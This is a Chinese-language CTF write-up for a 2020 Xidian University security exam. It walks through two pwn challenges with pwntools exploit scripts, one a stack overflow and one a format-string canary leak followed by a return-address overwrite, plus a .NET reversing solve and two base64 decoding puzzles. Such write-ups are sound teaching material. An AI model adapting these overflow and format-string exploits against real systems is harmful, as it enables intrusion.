【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3

  • 0x00.绪论
  • 0x01.PWN (AK)
    • cmcc_stack
    • pwn_canary
  • 0x02.reverse
    • Babyre
  • 0x03.misc
    • hello
    • encrypt


0x00.绪论

最近这几天网络与信息安全学院搞网络空间安全专业的实验班考试,作为蒟蒻的我抱着试一试的心态混入了考试的大佬之中XDD
说不定再过几天我就从计科院人变成网信院人le


0x01.PWN (AK)

pwn只有两道基础题,哪怕是我这个主攻pwn的蒟蒻也能十分钟就写出来了呢www


cmcc_stack

点击下载-bin
惯例checksec,只开了NX保护,四舍五入就是没有保护

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第1张图片

拖入IDA,发现当v5的值为-559038737(0xdeadbeef)时可以getflag

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第2张图片
【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第3张图片

read函数读入到地址esp+0x80-0x68,v5的地址是esp+0x7c,所以我们只需要覆盖掉v5的值为0xdeafbeef即可getflag

故构造payload如下

from pwn import *
pl = b'A'*0x64 + p32(0xdeadbeef)

p = process('./bin')#p = remote('192.168.5.11',22987)
p.sendline(pl)
p.interactive()

输入即可得到flag

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第4张图片


pwn_canary

点击下载-canary
惯例的checksec,开了NX保护和Canary,说明我们不能像之前那样轻松地溢出了,需要绕过Canary
【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第5张图片

拖入IDA进行分析,我们可以发现在fun()函数处存在溢出,偏移量为0x70,故考虑绕过canary后控制程序返回至getflag()

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第6张图片
【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第7张图片

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第8张图片

如何绕过canary?在main函数中我们可以看到其先读入format再输出format,存在格式化字符串漏洞,我们可以利用这个来输出canary的值,再覆盖掉即可

故构造payload如下

from pwn import *
pl1 = '%7$x'
get_flag = 0x804863d

p = process('./canary')#p = remote('192.168.5.11',39274)
p.sendline(pl1)
cnry = int(p.recv(),16)
pl2 = 26*p32(cnry) + p32(get_flag)
p.sendline(pl2)
p.interactive()

得到flag

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第9张图片


0x02.reverse

只解出了一道题55555


Babyre

点击下载-babyre
.net逆向
拖入dnSpy即得flag

【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3_第10张图片


0x03.misc

只写出来两道最基础的签到题XD


hello

首先给了这样一串文本

Q01JU0NDVEZ7V2VsY29tZV9DVEZlciF9

base64解码即得flag

CMISCCTF{Welcome_CTFer!}

encrypt

首先给了这样一串文本

UTAxSlUwTkRWRVo3Um1GclpWOWxibU55ZVhCMGFXOXVmUT09

base64解码得到这样一串文本

Q01JU0NDVEYlN0JGYWtlX2VuY3J5cHRpb24lN0Q=

很明显的base64特征,再次base64解码即得flag

CMISCCTF{Fake_encryption}

其他的题都不会写了XDDDD果然我还是太菜了QAQ

你可能感兴趣的:(CTF题解,信息安全)